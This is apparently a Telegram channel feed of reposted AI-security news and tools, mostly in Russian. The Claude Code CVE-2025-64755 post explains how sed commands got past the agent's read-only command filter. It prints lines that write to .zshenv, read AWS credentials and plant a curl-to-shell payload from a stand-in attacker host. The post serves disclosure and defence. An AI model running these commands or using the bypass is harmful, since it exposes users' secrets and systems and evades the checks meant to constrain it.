Forwarded from GitHub Community
Аwesome-generative-ai-guide — единый репозиторий для обновлений исследований в области генеративного ИИ, материалов для интервью, блокнотов и многого другого!
🐱 GitHub
Please open Telegram to view this post
VIEW IN TELEGRAM
Awesome AI Security
Подборка ресурсов, исследований и инструментов для обеспечения безопасности систем искусственного интеллекта.
https://github.com/TalEliyahu/Awesome-AI-Security
Подборка ресурсов, исследований и инструментов для обеспечения безопасности систем искусственного интеллекта.
https://github.com/TalEliyahu/Awesome-AI-Security
GitHub
GitHub - TalEliyahu/Awesome-AI-Security: Curated resources, research, and tools for securing AI systems
Curated resources, research, and tools for securing AI systems - TalEliyahu/Awesome-AI-Security
❤2
Матрица областей действия безопасности генеративного ИИ
Системы агентного ИИ могут автономно выполнять многоэтапные задачи, принимать решения и взаимодействовать с инфраструктурой и данными. Это изменение парадигмы, и организациям необходимо к нему адаптироваться. В отличие от традиционных систем управления бизнесом, работающих по шаблонам «запрос-ответ» без сохранения состояния, системы агентного ИИ предлагают автономные возможности, постоянную память, оркестровку инструментов, проблемы идентификации и агентства, а также интеграцию с внешними системами, расширяя круг рисков, которые организациям необходимо учитывать.
https://aws.amazon.com/ru/blogs/security/the-agentic-ai-security-scoping-matrix-a-framework-for-securing-autonomous-ai-systems/
Системы агентного ИИ могут автономно выполнять многоэтапные задачи, принимать решения и взаимодействовать с инфраструктурой и данными. Это изменение парадигмы, и организациям необходимо к нему адаптироваться. В отличие от традиционных систем управления бизнесом, работающих по шаблонам «запрос-ответ» без сохранения состояния, системы агентного ИИ предлагают автономные возможности, постоянную память, оркестровку инструментов, проблемы идентификации и агентства, а также интеграцию с внешними системами, расширяя круг рисков, которые организациям необходимо учитывать.
https://aws.amazon.com/ru/blogs/security/the-agentic-ai-security-scoping-matrix-a-framework-for-securing-autonomous-ai-systems/
🔥1
BruteForceAI - AI-Powered Login Brute Force Tool
BruteForceAI — это передовой инструмент для тестирования на проникновение, который радикально меняет традиционные атаки методом подбора паролей, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет формы входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с использованием моделей поведения, имитирующих человеческое.
BruteForceAI — это передовой инструмент для тестирования на проникновение, который радикально меняет традиционные атаки методом подбора паролей, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет формы входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с использованием моделей поведения, имитирующих человеческое.
Forwarded from AISecHub
11 Emerging AI Security Risks with MCP (Model Context Protocol)
https://checkmarx.com/zero-post/11-emerging-ai-security-risks-with-mcp-model-context-protocol/
https://checkmarx.com/zero-post/11-emerging-ai-security-risks-with-mcp-model-context-protocol/
Checkmarx
11 Emerging AI Security Risks with MCP (Model Context Protocol) - Checkmarx Zero
Model Context Protocol (MCP)—rapidly becoming the connective tissue of agentic AI—introduces an attack surface far larger than most teams realize. From poisoned data and schema manipulation to cross-agent context abuse, the research outlines eleven emerging…
Forwarded from 🕷 BugBountyRu
Раньше не принимали отчеты со сканеров, настало время запретить ИИ-галлюцинации (которые тоже могут быть своебразной атакой мусорными отчетами на триаж/дефектовщиков): https://daniel.haxx.se/blog/2025/07/14/death-by-a-thousand-slops/
daniel.haxx.se
Death by a thousand slops
I have previously blogged about the relatively new trend of AI slop in vulnerability reports submitted to curl and how it hurts and exhausts us. This trend does not seem to slow down. On the contrary, it seems that we have recently not only received more…
Forwarded from Информационная опасность
This media is not supported in the widget
VIEW IN TELEGRAM
Forwarded from AISecHub
OWASP-AI-Testing-Guide-v1.pdf
6.2 MB
OWASP AI Testing Guide v1.0
The OWASP AI Testing Guide establishes the missing standard: a unified, practical, and comprehensive framework for trustworthiness testing of AI systems, grounded in real attack patterns, emerging global standards, and the lived experience of the AI security community.
Source: https://github.com/OWASP/www-project-ai-testing-guide
The OWASP AI Testing Guide establishes the missing standard: a unified, practical, and comprehensive framework for trustworthiness testing of AI systems, grounded in real attack patterns, emerging global standards, and the lived experience of the AI security community.
Source: https://github.com/OWASP/www-project-ai-testing-guide
🔥2
Forwarded from OK ML
Как ошибка в разборе sed привела к обходу read-only защиты в Claude Code? CVE-2025-64755
Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31.✌️ Если обновляешь Claude Code вручную - самое время сделать это.
В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды👀 , а опасные ьлокировать. Для этого используется:
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.
Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed🪞 . Валидация выражений sed полагалась на несколько регулярных выражений, которые должны были выявлять опасные шаблоны. Но проверка была неполной. Благодаря особенностям реализации sed на macOS и неточно подобранным regex можно было выполнить команды вида:
Или
Claude Code доверял такой команде, считая её безопасной.😏 В результате становилось возможным:
1. Запись в произвольный файл
Например, в .zshenv:
2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп
3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:
После запуска терминала - полный RCE.
Это пост - напоминание всем, кто строит агентные системы!🌡️ Инструменты интерпретации команд требуют не регэкс проверок, а строгих, формальных методов анализа.
Всё!
🆗
Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31.
В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.
Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed
echo 'runme' | sed 'w /Users/xpn/.zshenv'
Или
echo 1 | sed 'r/Users/xpn/.aws/credentials'
Claude Code доверял такой команде, считая её безопасной.
1. Запись в произвольный файл
Например, в .zshenv:
echo 'malware' | sed 'w ~/.zshenv'
2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп
3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:
echo '$(curl attacker.sh | sh)' | sed 'w ~/.zshenv'
После запуска терминала - полный RCE.
Это пост - напоминание всем, кто строит агентные системы!
Всё!
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Femida
Утечка из OpenAI
OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены😒
Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.
На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.
Информации о продаже базы пока не появлялось👀
OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены
Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.
На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.
Информации о продаже базы пока не появлялось
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from PWN AI (Artyom Semenov)
Сохранёнок у меня, как обычно, вагон, но вот структурировать всё это руки доходят не всегда. Был ещё и незакрытый вопрос: «А что есть в Китае по AI Security?».
Если глянуть публикации на arXiv, китайских исследователей можно увидеть везде. Но кто именно лидирует по публикациям? Какие компании делают open-source (и проприетарные) решения для защиты пайплайнов, а также применяют классический ML в ИБ? Кстати, с последним вопросов меньше всего.
В итоге пришла мысль собрать всё это в единый список. Так появился он:
☺️ https://github.com/wearetyomsmnv/Awesome-China-AI-Security/
Список получился подробным и структурированным, многое удалось выделить в отдельные блоки.
Всё ради того, чтобы интересующиеся могли сразу пропустить титанически сложный процесс поиска ресурсов. Переводить репо на другие языки я не планирую, но вы всегда можете кинуть pull request или сделать форк, добавив свои находки.
Если глянуть публикации на arXiv, китайских исследователей можно увидеть везде. Но кто именно лидирует по публикациям? Какие компании делают open-source (и проприетарные) решения для защиты пайплайнов, а также применяют классический ML в ИБ? Кстати, с последним вопросов меньше всего.
В итоге пришла мысль собрать всё это в единый список. Так появился он:
Список получился подробным и структурированным, многое удалось выделить в отдельные блоки.
Всё ради того, чтобы интересующиеся могли сразу пропустить титанически сложный процесс поиска ресурсов. Переводить репо на другие языки я не планирую, но вы всегда можете кинуть pull request или сделать форк, добавив свои находки.
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - wearetyomsmnv/Awesome-China-AI-Security
Contribute to wearetyomsmnv/Awesome-China-AI-Security development by creating an account on GitHub.
Forwarded from AISecHub
AI-VAPT
AI-VAPT is an autonomous AI-driven Vulnerability Assessment & Penetration Testing framework combining traditional VAPT with neural intelligence. It automates recon, scanning, and reporting using AI-powered analysis, CVE mapping, and exploit prediction — built for ethical hackers and enterprise security teams.
https://github.com/vikramrajkumarmajji/AI-VAPT
AI-VAPT is an autonomous AI-driven Vulnerability Assessment & Penetration Testing framework combining traditional VAPT with neural intelligence. It automates recon, scanning, and reporting using AI-powered analysis, CVE mapping, and exploit prediction — built for ethical hackers and enterprise security teams.
https://github.com/vikramrajkumarmajji/AI-VAPT
GitHub
GitHub - vikramrajkumarmajji/AI-VAPT: AI-VAPT is an autonomous AI-driven Vulnerability Assessment & Penetration Testing framework…
AI-VAPT is an autonomous AI-driven Vulnerability Assessment & Penetration Testing framework combining traditional VAPT with neural intelligence. It automates recon, scanning, and reporting ...
Forwarded from AISecHub
BugPilot-Ai
BugPilot AI is a professional desktop application that provides an intelligent interface for security testing and penetration testing. It combines the power of AI with real security tools to assist security professionals, bug bounty hunters, and penetration testers in conducting comprehensive security assessments.
https://github.com/letchupkt/BugPilot-Ai
BugPilot AI is a professional desktop application that provides an intelligent interface for security testing and penetration testing. It combines the power of AI with real security tools to assist security professionals, bug bounty hunters, and penetration testers in conducting comprehensive security assessments.
https://github.com/letchupkt/BugPilot-Ai
GitHub
GitHub - letchupkt/BugPilot-Ai: BugPilot AI is a professional desktop application that provides an intelligent interface for security…
BugPilot AI is a professional desktop application that provides an intelligent interface for security testing and penetration testing. It combines the power of AI with real security tools to assist...
Forwarded from Технологический Болт Генона
Для полноты картины не хватает только, что бы и сам пост на Reddit был выдуман и написан ChatGPT. Таков timeline 🌝
tl;dr AI-генерённую парашу втюхали банку, после чего рансомварь всё поглотила и уничтожила
All prompt-generated. Zero understanding of the code. Shows it to a BANK. They like it. Tell her to move forward (she had a great business network btw). No idea what to do. Hires a team to "refactor". Quote: 300+ hours. Basically the cost of building a proper MVP from scratch.
But wait, it gets better.
The team she hired ALSO does vibe coding. They set up the server by asking ChatGPT. Result:
- SSH open to the world
- Root password: admin123 (or something similar)
- No firewall
- Nothing
Automated ransomware encrypted everything. Had to shut down, rotate all API keys (costing $$$), migrate everything.
The founder lost money on the hack, so much time, credibility with the client and trust in the process.
Here's the thing: Would you send a contract to a client without reading it, just because AI wrote it? Would you send an investor pitch without knowing what it says? Of course not. So why would you run your entire technical infrastructure on code you can't read?
AI amplifies what you already know. If you understand business, AI makes you better at business. If you know code, AI makes you code 10x faster. But if you know nothing about code and try to build a tech product with just prompts, you're not in control of your own company.
The new reality post-AI: You don't need 10 developers anymore. You need 1-3 people who REALLY know their domain, amplified by AI. That's more powerful than 20 people without AI.
That's what vibe coding in production is: unsupervised juniors all the way down.
[True Story] Non-technical founder tried to sell a 100% AI-generated MVP to a bank - I will not promote
https://www.reddit.com/r/startups/comments/1oex6aw/true_story_nontechnical_founder_tried_to_sell_a/
tl;dr AI-генерённую парашу втюхали банку, после чего рансомварь всё поглотила и уничтожила
All prompt-generated. Zero understanding of the code. Shows it to a BANK. They like it. Tell her to move forward (she had a great business network btw). No idea what to do. Hires a team to "refactor". Quote: 300+ hours. Basically the cost of building a proper MVP from scratch.
But wait, it gets better.
The team she hired ALSO does vibe coding. They set up the server by asking ChatGPT. Result:
- SSH open to the world
- Root password: admin123 (or something similar)
- No firewall
- Nothing
Automated ransomware encrypted everything. Had to shut down, rotate all API keys (costing $$$), migrate everything.
The founder lost money on the hack, so much time, credibility with the client and trust in the process.
Here's the thing: Would you send a contract to a client without reading it, just because AI wrote it? Would you send an investor pitch without knowing what it says? Of course not. So why would you run your entire technical infrastructure on code you can't read?
AI amplifies what you already know. If you understand business, AI makes you better at business. If you know code, AI makes you code 10x faster. But if you know nothing about code and try to build a tech product with just prompts, you're not in control of your own company.
The new reality post-AI: You don't need 10 developers anymore. You need 1-3 people who REALLY know their domain, amplified by AI. That's more powerful than 20 people without AI.
That's what vibe coding in production is: unsupervised juniors all the way down.
[True Story] Non-technical founder tried to sell a 100% AI-generated MVP to a bank - I will not promote
https://www.reddit.com/r/startups/comments/1oex6aw/true_story_nontechnical_founder_tried_to_sell_a/